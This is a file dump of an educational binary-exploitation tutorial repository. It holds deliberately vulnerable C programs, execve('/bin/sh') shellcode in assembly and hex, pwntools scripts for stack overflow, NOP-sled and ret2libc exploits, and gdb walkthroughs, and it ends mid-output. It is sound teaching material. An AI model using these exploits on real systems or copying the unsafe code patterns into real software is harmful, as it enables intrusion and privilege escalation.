├── content ├── example ├── example.c ├── format-string │ ├── specifiers │ ├── format-string │ ├── got-overwrite │ ├── read-arbitrary-data │ ├── format-string.c │ ├── got-overwrite.c │ ├── specifiers.c │ ├── read-arbitrary-data.c │ └── format-string.md ├── stack-overflow │ ├── stack-overflow │ ├── high-level-shellcode │ │ ├── high-level-shellcode │ │ └── high-level-shellcode.c │ ├── test-clean-shellcode │ │ ├── test-clean-shellcode │ │ └── test-clean-shellcode.c │ ├── test-dirty-shellcode │ │ ├── test-dirty-shellcode │ │ └── test-dirty-shellcode.c │ ├── clean-low-level-shellcode │ │ ├── clean-low-level-shellcode │ │ ├── clean-low-level-shellcode.o │ │ └── clean-low-level-shellcode.asm │ ├── dirty-low-level-shellcode │ │ ├── dirty-low-level-shellcode │ │ ├── dirty-low-level-shellcode.o │ │ └── dirty-low-level-shellcode.asm │ ├── fast-shellcode.py │ ├── exploit-with-jump.py │ ├── stack-overflow.c │ ├── exploit.py │ ├── exploit-with-nop.py │ ├── exploit-with-shellcraft.py │ ├── assembly.py │ └── stack-overflow.md ├── buffer-overflow │ ├── buffer-overflow │ ├── buffer-overflow-with-protection │ ├── buffer-overflow.c │ ├── buffer-overflow-with-protection.c │ ├── exploit.py │ ├── stack-example.c │ └── buffer-overflow.md ├── security-techniques │ ├── stack-overflow-with-nx │ ├── stack-overflow-for-aslr │ ├── stack-overflow-with-pie │ ├── stack-overflow-with-canary │ ├── got-overwrite-with-full-relro │ ├── got-overwrite-with-partial-relro │ ├── stack-overflow-exploit.py │ └── security-techniques.md ├── bypass-security-techniques │ ├── ret2libc-attack.py │ └── bypass-security-techniques.md ├── vulnerabilities.md ├── memory-layout.md └── elf.md ├── images ├── elf.png ├── elf-sections.png ├── pwn-structure.png └── general-memory-view.png ├── CODE_OF_CONDUCT.md ├── README.md └── LICENSE /content/example: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/example -------------------------------------------------------------------------------- /images/elf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/images/elf.png -------------------------------------------------------------------------------- /images/elf-sections.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/images/elf-sections.png -------------------------------------------------------------------------------- /images/pwn-structure.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/images/pwn-structure.png -------------------------------------------------------------------------------- /content/example.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char *argv[]){ 4 | printf("Hello, World!"); 5 | } 6 | -------------------------------------------------------------------------------- /images/general-memory-view.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/images/general-memory-view.png -------------------------------------------------------------------------------- /content/format-string/specifiers: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/format-string/specifiers -------------------------------------------------------------------------------- /content/format-string/format-string: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/format-string/format-string -------------------------------------------------------------------------------- /content/format-string/got-overwrite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/format-string/got-overwrite -------------------------------------------------------------------------------- /content/stack-overflow/stack-overflow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/stack-overflow/stack-overflow -------------------------------------------------------------------------------- /content/buffer-overflow/buffer-overflow: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/buffer-overflow/buffer-overflow -------------------------------------------------------------------------------- /content/format-string/read-arbitrary-data: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/format-string/read-arbitrary-data -------------------------------------------------------------------------------- /content/security-techniques/stack-overflow-with-nx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/security-techniques/stack-overflow-with-nx -------------------------------------------------------------------------------- /content/security-techniques/stack-overflow-for-aslr: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/security-techniques/stack-overflow-for-aslr -------------------------------------------------------------------------------- /content/security-techniques/stack-overflow-with-pie: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/security-techniques/stack-overflow-with-pie -------------------------------------------------------------------------------- /content/buffer-overflow/buffer-overflow-with-protection: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/buffer-overflow/buffer-overflow-with-protection -------------------------------------------------------------------------------- /content/security-techniques/stack-overflow-with-canary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/security-techniques/stack-overflow-with-canary -------------------------------------------------------------------------------- /content/security-techniques/got-overwrite-with-full-relro: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/security-techniques/got-overwrite-with-full-relro -------------------------------------------------------------------------------- /content/security-techniques/got-overwrite-with-partial-relro: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/security-techniques/got-overwrite-with-partial-relro -------------------------------------------------------------------------------- /content/stack-overflow/high-level-shellcode/high-level-shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/stack-overflow/high-level-shellcode/high-level-shellcode -------------------------------------------------------------------------------- /content/stack-overflow/test-clean-shellcode/test-clean-shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/stack-overflow/test-clean-shellcode/test-clean-shellcode -------------------------------------------------------------------------------- /content/stack-overflow/test-dirty-shellcode/test-dirty-shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/stack-overflow/test-dirty-shellcode/test-dirty-shellcode -------------------------------------------------------------------------------- /content/stack-overflow/clean-low-level-shellcode/clean-low-level-shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/stack-overflow/clean-low-level-shellcode/clean-low-level-shellcode -------------------------------------------------------------------------------- /content/stack-overflow/dirty-low-level-shellcode/dirty-low-level-shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/stack-overflow/dirty-low-level-shellcode/dirty-low-level-shellcode -------------------------------------------------------------------------------- /content/stack-overflow/clean-low-level-shellcode/clean-low-level-shellcode.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/stack-overflow/clean-low-level-shellcode/clean-low-level-shellcode.o -------------------------------------------------------------------------------- /content/stack-overflow/dirty-low-level-shellcode/dirty-low-level-shellcode.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/whatsyourask/basics-of-pwn/HEAD/content/stack-overflow/dirty-low-level-shellcode/dirty-low-level-shellcode.o -------------------------------------------------------------------------------- /content/stack-overflow/fast-shellcode.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # Specify the architecture 4 | context.arch = 'i386' 5 | # Create a shellcode 6 | shellcode = shellcraft.sh() 7 | print(shellcode) 8 | # Assembly it 9 | assembled_shellcode = asm(shellcode) 10 | print(assembled_shellcode) 11 | -------------------------------------------------------------------------------- /content/format-string/format-string.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // gcc format-string.c -o format-string -fno-stack-protector -no-pie -z execstack -m32 5 | 6 | 7 | int main(int argc, char *argv[]){ 8 | char buff[200]; 9 | strncpy(buff, argv[1], 200); 10 | printf(buff); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /content/stack-overflow/high-level-shellcode/high-level-shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // gcc high-level-shellcode.c -o high-level-shellcode 4 | // use -m32 to compile x86-86 arch shellcode 5 | 6 | int main(){ 7 | // Start a new process /bin/sh or just spawn a shell 8 | execve("/bin/sh", NULL, NULL); 9 | // Exit normally 10 | exit(0); 11 | } 12 | -------------------------------------------------------------------------------- /content/buffer-overflow/buffer-overflow.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // gcc buffer-overflow.c -o buffer-overflow -fno-stack-protector 4 | 5 | int main(int argc, char *argv[]){ 6 | char vuln_buff[100]; 7 | int access = 4321; 8 | // vulnerable 9 | gets(vuln_buff); 10 | if (access == 1234){ 11 | setuid(0); 12 | system("/bin/sh"); 13 | } 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /content/buffer-overflow/buffer-overflow-with-protection.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // gcc buffer-overflow.c -o buffer-overflow -fno-stack-protector 4 | 5 | int main(int argc, char *argv[]){ 6 | char vuln_buff[100]; 7 | int access = 4321; 8 | // vulnerable 9 | read(1, vuln_buff, 100); 10 | if (access == 1234){ 11 | setuid(0); 12 | system("/bin/sh"); 13 | } 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /content/format-string/got-overwrite.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // gcc got-overwrite.c -o got-overwrite -fno-stack-protector -no-pie -z execstack -Wl,-z,norelro -m32 5 | 6 | 7 | int main(int argc, char *argv[]){ 8 | char buff[200]; 9 | strncpy(buff, argv[1], 200); 10 | printf(buff); 11 | char buff2[200]; 12 | gets(buff2); 13 | printf(buff2); 14 | return 0; 15 | } 16 | -------------------------------------------------------------------------------- /content/bypass-security-techniques/ret2libc-attack.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | # start the vuln program 5 | p = process('../security-techniques/stack-overflow-with-nx') 6 | system_addr = p32(0xf7e02830) 7 | exit_addr = p32(0xf7df5170) 8 | bin_sh_addr = p32(0xf7f4f352) 9 | payload = b'A' * 262 10 | payload += system_addr 11 | payload += exit_addr 12 | payload += bin_sh_addr 13 | p.sendline(payload) 14 | p.interactive() 15 | -------------------------------------------------------------------------------- /content/stack-overflow/exploit-with-jump.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | # start the vuln program 5 | p = process('./stack-overflow') 6 | # shell function address 7 | shell_addr = p32(0x080491d6) 8 | # fill the vuln buffer 9 | payload = b'A' * 250 10 | # add the offset 11 | payload += b'B' * 12 12 | # add a new return address 13 | payload += shell_addr 14 | # send to process 15 | p.sendline(payload) 16 | # Shell 17 | p.interactive() 18 | -------------------------------------------------------------------------------- /content/buffer-overflow/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | # Connect to target via ssh 4 | con = ssh('user', '192.168.43.61', password='user', port=22) 5 | # Execute a vulnerable program 6 | p = con.process('./buffer-overflow') 7 | # Payload 8 | payload = "A"*108 + "\xd2\x04" 9 | # Send payload 10 | p.sendline(payload) 11 | # To attach with gdb to remote process 12 | #gdb.attach(p, "b *main") 13 | # Now, you can work with shell interactively 14 | p.interactive() 15 | -------------------------------------------------------------------------------- /content/stack-overflow/stack-overflow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | // gcc stack-overflow.c -o stack-overflow -fno-stack-protector -no-pie -z execstack -m32 5 | 6 | // Function that sets user id to 0 and execute the shell 7 | void shell(){ 8 | setuid(0); 9 | system("/bin/sh"); 10 | } 11 | 12 | void vuln_func(){ 13 | char vuln_buff[250]; 14 | // vulnerable 15 | gets(vuln_buff); 16 | } 17 | 18 | int main(int argc, char *argv[]){ 19 | vuln_func(); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /content/stack-overflow/test-clean-shellcode/test-clean-shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | unsigned char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; 6 | 7 | void main(){ 8 | printf("Shellcode length: %d\n", strlen(shellcode)); 9 | // Declare a function pointer named ret 10 | // Then cast the shellcode pointer to the function pointer of the same size 11 | int (*ret)() = (int(*)())shellcode; 12 | // Call the function 13 | ret(); 14 | } 15 | -------------------------------------------------------------------------------- /content/stack-overflow/test-dirty-shellcode/test-dirty-shellcode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | 5 | unsigned char shellcode[] = "\x68\x00\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80"; 6 | 7 | void main(){ 8 | printf("Shellcode length: %d\n", strlen(shellcode)); 9 | // Declare a function pointer named ret 10 | // Then cast the shellcode pointer to the function pointer of the same size 11 | int (*ret)() = (int(*)())shellcode; 12 | // Call the function 13 | ret(); 14 | } 15 | -------------------------------------------------------------------------------- /content/stack-overflow/exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | # start the vuln program 5 | p = process('./stack-overflow') 6 | # address of the shellcode 7 | ret_addr = p32(0xffffcf56) 8 | shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 9 | payload = shellcode 10 | # add the offset 11 | payload += b'A' * (262 - len(shellcode)) 12 | # add a new return address 13 | payload += ret_addr 14 | # send to process 15 | p.sendline(payload) 16 | #gdb.attach(p, "b *main") 17 | # Shell 18 | p.interactive() 19 | -------------------------------------------------------------------------------- /content/stack-overflow/dirty-low-level-shellcode/dirty-low-level-shellcode.asm: -------------------------------------------------------------------------------- 1 | ; nasm -f elf32 dirty-low-level-shellcode.asm 2 | ; ld -m elf_i386 dirty-low-level-shellcode.o -o dirty-low-level-shellcode 3 | 4 | ; push the string '/bin/sh\0 5 | push 0x68732f00 6 | push 0x6e69622f 7 | ; move the first argument (/bin//sh) to ebx 8 | mov ebx, esp 9 | ; push address of the string 10 | push ebx 11 | ; move the second argument (argv array) to ecx 12 | mov ecx, esp 13 | ; move to eax the number of the syscall 14 | mov eax, 0xb 15 | ; do interruption 16 | int 0x80 17 | -------------------------------------------------------------------------------- /content/format-string/specifiers.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // gcc specifiers.c -o specifiers -m32 4 | 5 | int main(int argc, char *argv[]){ 6 | int num = -824; 7 | printf("Signed int: %d\n", num); 8 | unsigned int num2 = 10000; 9 | printf("Unsigned int: %u\n", num2); 10 | printf("Hexadecimal: %x\n", num); 11 | int *p = &num2; 12 | printf("Pointer: %p\n", p); 13 | const char *s = "Some string"; 14 | printf("String: %s\n", s); 15 | int *count = &num2; 16 | printf("Number of bytes written: %n\n", count); 17 | printf("%u\n", *count); 18 | return 0; 19 | } 20 | -------------------------------------------------------------------------------- /content/security-techniques/stack-overflow-exploit.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | # start the vuln program 5 | p = process('./stack-overflow-with-nx') 6 | # address of the shellcode 7 | ret_addr = p32(0xffffcf76) 8 | shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 9 | payload = shellcode 10 | # add the offset 11 | payload += b'A' * (262 - len(shellcode)) 12 | # add a new return address 13 | payload += ret_addr 14 | # send to process 15 | p.sendline(payload) 16 | #gdb.attach(p, "b *main") 17 | # Shell 18 | p.interactive() 19 | -------------------------------------------------------------------------------- /content/stack-overflow/exploit-with-nop.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | # start the vuln program 5 | p = process('./stack-overflow') 6 | # address of the shellcode 7 | ret_addr = p32(0xffffcf56) 8 | shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" 9 | payload = b'\x90' * 200 10 | payload += shellcode 11 | # add the offset 12 | payload += b'A' * (262 - len(payload)) 13 | # add a new return address 14 | payload += ret_addr 15 | # send to process 16 | p.sendline(payload) 17 | #gdb.attach(p, "b *main") 18 | # Shell 19 | p.interactive() 20 | -------------------------------------------------------------------------------- /content/format-string/read-arbitrary-data.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | // gcc read-arbitrary-data.c -o read-arbitrary-data -m32 6 | 7 | int main(int argc, char *argv[]){ 8 | const char *allow = "Access granted.\n"; 9 | const char *deny = "Access denied.\n"; 10 | char buff[200]; 11 | read(1, buff, 200); 12 | if (strncmp("password\0", buff, 9) == 0) { 13 | printf(allow); 14 | system("/bin/sh"); 15 | } else { 16 | printf(deny); 17 | printf("Say goodbye!!!"); 18 | } 19 | read(1, buff, 200); 20 | printf(buff); 21 | } 22 | -------------------------------------------------------------------------------- /content/stack-overflow/exploit-with-shellcraft.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | # start the vuln program 5 | p = process('./stack-overflow') 6 | # address of the shellcode 7 | ret_addr = p32(0xffffcf56) 8 | # specify the architecture and generate the shellcode to execute /bin/sh 9 | context.arch = 'i386' 10 | shellcode = asm(shellcraft.sh()) 11 | payload = shellcode 12 | # add the offset 13 | payload += b'A' * (262 - len(shellcode)) 14 | # add a new return address 15 | payload += ret_addr 16 | # send to process 17 | p.sendline(payload) 18 | #gdb.attach(p, "b *main") 19 | # Shell 20 | p.interactive() 21 | -------------------------------------------------------------------------------- /content/stack-overflow/assembly.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | 4 | context.arch = 'i386' 5 | # Just use shellcraft module and its methods which similar to assembly instructions 6 | shellcode = shellcraft.mov('eax', 0) 7 | shellcode += shellcraft.push('eax') 8 | shellcode += shellcraft.push(0x68732f2f) 9 | shellcode += shellcraft.push(0x6e69622f) 10 | shellcode += shellcraft.mov('ebx', 'esp') 11 | shellcode += shellcraft.push('eax') 12 | shellcode += shellcraft.push('ebx') 13 | shellcode += shellcraft.mov('ecx', 'esp') 14 | shellcode += shellcraft.mov('al', 0xb) 15 | shellcode += shellcraft.syscall() 16 | print(shellcode) 17 | print(asm(shellcode)) 18 | -------------------------------------------------------------------------------- /content/buffer-overflow/stack-example.c: -------------------------------------------------------------------------------- 1 | #include 2 | /* 3 | This program is simple as possible 4 | */ 5 | 6 | // Compile with: 7 | // gcc stack-example.c -o stack-example -m32 8 | // -m32 option is just for better explanation 9 | 10 | int some_func1(int a, int b, int c, int d, int e, int f){ 11 | int result = some_func2(e, f); 12 | return a + b + c + d + result; 13 | } 14 | 15 | int some_func2(int e, int f){ 16 | int argv[10]; 17 | short ind; 18 | size_t len = 10; 19 | for(ind = 0; ind < 10; ind++){ 20 | argv[ind] = ind; 21 | } 22 | return e * f; 23 | } 24 | 25 | int main(int argc, char *argv[]){ 26 | int a = 1, b = 2, c = 3, d=4, e=5, f=6; 27 | int result = some_func1(a, b, c, d, e, f); 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /content/stack-overflow/clean-low-level-shellcode/clean-low-level-shellcode.asm: -------------------------------------------------------------------------------- 1 | ; nasm -f elf32 clean-low-level-shellcode.asm 2 | ; ld -m elf_i386 clean-low-level-shellcode.o -o clean-low-levelshellcode 3 | 4 | ; move in eax zero to add to the end of the string to make it null-terminated 5 | xor eax, eax 6 | ; push zero to terminate the string 7 | push eax 8 | ; push the string '/bin//sh' 9 | push 0x68732f2f 10 | push 0x6e69622f 11 | ; move the first argument (/bin/sh) to ebx 12 | mov ebx, esp 13 | ; push zero 14 | push eax 15 | ; push the address of the string 16 | push ebx 17 | ; move the second argument (argv array) to ecx 18 | mov ecx, esp 19 | ; move to eax the number of the syscall 20 | mov al, 0xb 21 | ; do interruption 22 | int 0x80 23 | -------------------------------------------------------------------------------- /content/vulnerabilities.md: -------------------------------------------------------------------------------- 1 | # Vulnerabilities types 2 | 3 | What is a vulnerability? 4 | 5 | Vulnerability is any weakness within information systems, internal control, or system processes. The vulnerabilities can be exploited to gain access to the system, control over it, process, and infrastructure. 6 | 7 | Binary vulnerability is a vulnerability at the binary code level. 8 | 9 | ## Buffer overflow 10 | 11 | Allows you to overflow the buffer and therefore to overwrite some valuable pieces of the memory. 12 | 13 | ## Stack overflow 14 | 15 | Allows you to overflow the stack and get control over the process. 16 | 17 | ## Format string vulnerability 18 | 19 | Allows you to read or overwrite arbitrary data within the executable. 20 | 21 | ## Heap overflow 22 | 23 | Allows you to overflow the heap or use a special program behavior to get control over the process. 24 | -------------------------------------------------------------------------------- /content/memory-layout.md: -------------------------------------------------------------------------------- 1 | # Memory layout of the process 2 | 3 | This is the memory view of the process. 4 | 5 | ## General view 6 | 7 | ![general-view](../images/general-memory-view.png "https://github.com/whatsyourask/basics-of-pwn/blob/main/images/general-memory-view.png") 8 | 9 | ### Stack 10 | 11 | The stack stores the variables that were added as arguments and created during the execution of a function. The stack grows from the higher memory addresses to the lower memory addresses. 12 | 13 | ```C 14 | void some_func(int arg1){ 15 | short var = 0; 16 | short var2; 17 | } 18 | ``` 19 | 20 | ### Shared memory 21 | 22 | The process loads the shared libraries used by executable in the shared memory. It usually includes files such as `malloc.o` or `printf.o`. 23 | 24 | ### Heap 25 | 26 | The heap stores the variables that were dynamically allocated with the *alloc family of functions. For object-oriented programming languages, the heap also stores the objects. The heap grows from the lower memory addresses to the higher memory addresses which are opposite to the stack. 27 | 28 | ```C 29 | int *arr; 30 | size_t arr_size = 5; 31 | arr = (int *)malloc(arr_size * sizeof(arr)); 32 | ``` 33 | 34 | ### BSS 35 | 36 | The bss section stores the uninitialized variables, but which were declared. 37 | 38 | ```C 39 | int var; 40 | char *str; 41 | short arr[12]; 42 | ``` 43 | 44 | ### Initialized data 45 | 46 | This section stores the variables that were declared and initialized. 47 | 48 | ```C 49 | int ind = 0; 50 | size_t size = 10; 51 | const char *temp = "Hello, World!"; 52 | ``` 53 | 54 | ### Text 55 | 56 | The text section stores the text of the assembly instructions. 57 | 58 | For example, our program: 59 | 60 | ```C 61 | #include 62 | 63 | int main(){ 64 | printf("Hello, World!"); 65 | return 0; 66 | } 67 | ``` 68 | 69 | To see the text section of the program: 70 | 71 | ```bash 72 | gcc example.c -o example -m32 73 | objdump -d -M intel example 74 | ``` 75 | 76 | The text section of the main function: 77 | 78 | ``` 79 | 00001199
: 80 | 1199: 8d 4c 24 04 lea ecx,[esp+0x4] 81 | 119d: 83 e4 f0 and esp,0xfffffff0 82 | 11a0: ff 71 fc push DWORD PTR [ecx-0x4] 83 | 11a3: 55 push ebp 84 | 11a4: 89 e5 mov ebp,esp 85 | 11a6: 53 push ebx 86 | 11a7: 51 push ecx 87 | 11a8: e8 28 00 00 00 call 11d5 <__x86.get_pc_thunk.ax> 88 | 11ad: 05 53 2e 00 00 add eax,0x2e53 89 | 11b2: 83 ec 0c sub esp,0xc 90 | 11b5: 8d 90 08 e0 ff ff lea edx,[eax-0x1ff8] 91 | 11bb: 52 push edx 92 | 11bc: 89 c3 mov ebx,eax 93 | 11be: e8 6d fe ff ff call 1030 94 | 11c3: 83 c4 10 add esp,0x10 95 | 11c6: b8 00 00 00 00 mov eax,0x0 96 | 11cb: 8d 65 f8 lea esp,[ebp-0x8] 97 | 11ce: 59 pop ecx 98 | 11cf: 5b pop ebx 99 | 11d0: 5d pop ebp 100 | 11d1: 8d 61 fc lea esp,[ecx-0x4] 101 | 11d4: c3 ret 102 | ``` 103 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Contributor Covenant Code of Conduct 2 | 3 | ## Our Pledge 4 | 5 | We as members, contributors, and leaders pledge to make participation in our 6 | community a harassment-free experience for everyone, regardless of age, body 7 | size, visible or invisible disability, ethnicity, sex characteristics, gender 8 | identity and expression, level of experience, education, socio-economic status, 9 | nationality, personal appearance, race, religion, or sexual identity 10 | and orientation. 11 | 12 | We pledge to act and interact in ways that contribute to an open, welcoming, 13 | diverse, inclusive, and healthy community. 14 | 15 | ## Our Standards 16 | 17 | Examples of behavior that contributes to a positive environment for our 18 | community include: 19 | 20 | * Demonstrating empathy and kindness toward other people 21 | * Being respectful of differing opinions, viewpoints, and experiences 22 | * Giving and gracefully accepting constructive feedback 23 | * Accepting responsibility and apologizing to those affected by our mistakes, 24 | and learning from the experience 25 | * Focusing on what is best not just for us as individuals, but for the 26 | overall community 27 | 28 | Examples of unacceptable behavior include: 29 | 30 | * The use of sexualized language or imagery, and sexual attention or 31 | advances of any kind 32 | * Trolling, insulting or derogatory comments, and personal or political attacks 33 | * Public or private harassment 34 | * Publishing others' private information, such as a physical or email 35 | address, without their explicit permission 36 | * Other conduct which could reasonably be considered inappropriate in a 37 | professional setting 38 | 39 | ## Enforcement Responsibilities 40 | 41 | Community leaders are responsible for clarifying and enforcing our standards of 42 | acceptable behavior and will take appropriate and fair corrective action in 43 | response to any behavior that they deem inappropriate, threatening, offensive, 44 | or harmful. 45 | 46 | Community leaders have the right and responsibility to remove, edit, or reject 47 | comments, commits, code, wiki edits, issues, and other contributions that are 48 | not aligned to this Code of Conduct, and will communicate reasons for moderation 49 | decisions when appropriate. 50 | 51 | ## Scope 52 | 53 | This Code of Conduct applies within all community spaces, and also applies when 54 | an individual is officially representing the community in public spaces. 55 | Examples of representing our community include using an official e-mail address, 56 | posting via an official social media account, or acting as an appointed 57 | representative at an online or offline event. 58 | 59 | ## Enforcement 60 | 61 | Instances of abusive, harassing, or otherwise unacceptable behavior may be 62 | reported to the community leaders responsible for enforcement at 63 | https://t.me/whatsyourask. 64 | All complaints will be reviewed and investigated promptly and fairly. 65 | 66 | All community leaders are obligated to respect the privacy and security of the 67 | reporter of any incident. 68 | 69 | ## Enforcement Guidelines 70 | 71 | Community leaders will follow these Community Impact Guidelines in determining 72 | the consequences for any action they deem in violation of this Code of Conduct: 73 | 74 | ### 1. Correction 75 | 76 | **Community Impact**: Use of inappropriate language or other behavior deemed 77 | unprofessional or unwelcome in the community. 78 | 79 | **Consequence**: A private, written warning from community leaders, providing 80 | clarity around the nature of the violation and an explanation of why the 81 | behavior was inappropriate. A public apology may be requested. 82 | 83 | ### 2. Warning 84 | 85 | **Community Impact**: A violation through a single incident or series 86 | of actions. 87 | 88 | **Consequence**: A warning with consequences for continued behavior. No 89 | interaction with the people involved, including unsolicited interaction with 90 | those enforcing the Code of Conduct, for a specified period of time. This 91 | includes avoiding interactions in community spaces as well as external channels 92 | like social media. Violating these terms may lead to a temporary or 93 | permanent ban. 94 | 95 | ### 3. Temporary Ban 96 | 97 | **Community Impact**: A serious violation of community standards, including 98 | sustained inappropriate behavior. 99 | 100 | **Consequence**: A temporary ban from any sort of interaction or public 101 | communication with the community for a specified period of time. No public or 102 | private interaction with the people involved, including unsolicited interaction 103 | with those enforcing the Code of Conduct, is allowed during this period. 104 | Violating these terms may lead to a permanent ban. 105 | 106 | ### 4. Permanent Ban 107 | 108 | **Community Impact**: Demonstrating a pattern of violation of community 109 | standards, including sustained inappropriate behavior, harassment of an 110 | individual, or aggression toward or disparagement of classes of individuals. 111 | 112 | **Consequence**: A permanent ban from any sort of public interaction within 113 | the community. 114 | 115 | ## Attribution 116 | 117 | This Code of Conduct is adapted from the [Contributor Covenant][homepage], 118 | version 2.0, available at 119 | https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. 120 | 121 | Community Impact Guidelines were inspired by [Mozilla's code of conduct 122 | enforcement ladder](https://github.com/mozilla/diversity). 123 | 124 | [homepage]: https://www.contributor-covenant.org 125 | 126 | For answers to common questions about this code of conduct, see the FAQ at 127 | https://www.contributor-covenant.org/faq. Translations are available at 128 | https://www.contributor-covenant.org/translations. 129 | -------------------------------------------------------------------------------- /content/bypass-security-techniques/bypass-security-techniques.md: -------------------------------------------------------------------------------- 1 | # Bypass security techniques 2 | 3 | Here, you will learn new techniques to exploit the programs that contain security mechanisms. 4 | 5 | ## Return-to-libc attack(ret2libc) 6 | 7 | This attack includes searching addresses of useful functions within libc. 8 | 9 | Again, consider our old stack-overflow program and determine the offset to return address within gdb: 10 | ```bash 11 | gef➤ r < <(python -c 'print "A"*262 + "B"*4') 12 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx < <(python -c 'print "A"*262 + "B"*4') 13 | 14 | Program received signal SIGSEGV, Segmentation fault. 15 | 0x42424242 in ?? () 16 | ``` 17 | 18 | Now, find addresses within libc. An easy and always useful function to use in the exploit is a `system`, then, you need string `/bin/sh` as an argument to it and last function `exit`. 19 | 20 | ```bash 21 | gef➤ b *main 22 | Breakpoint 1 at 0x8049243 23 | gef➤ r 24 | Starting program: /home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx 25 | 26 | Breakpoint 1, 0x08049243 in main () 27 | gef➤ print system 28 | $2 = {} 0xf7e02830 29 | gef➤ print exit 30 | $3 = {} 0xf7df5170 31 | gef➤ search-pattern /bin/sh 32 | [+] Searching '/bin/sh' in memory 33 | [+] In '/home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx'(0x804a000-0x804b000), permission=r-- 34 | 0x804a008 - 0x804a00f → "/bin/sh" 35 | [+] In '/home/shogun/repos/basics-of-pwn/content/security-techniques/stack-overflow-with-nx'(0x804b000-0x804c000), permission=r-- 36 | 0x804b008 - 0x804b00f → "/bin/sh" 37 | [+] In '/lib/i386-linux-gnu/libc-2.31.so'(0xf7f35000-0xf7fa5000), permission=r-- 38 | 0xf7f4f352 - 0xf7f4f359 → 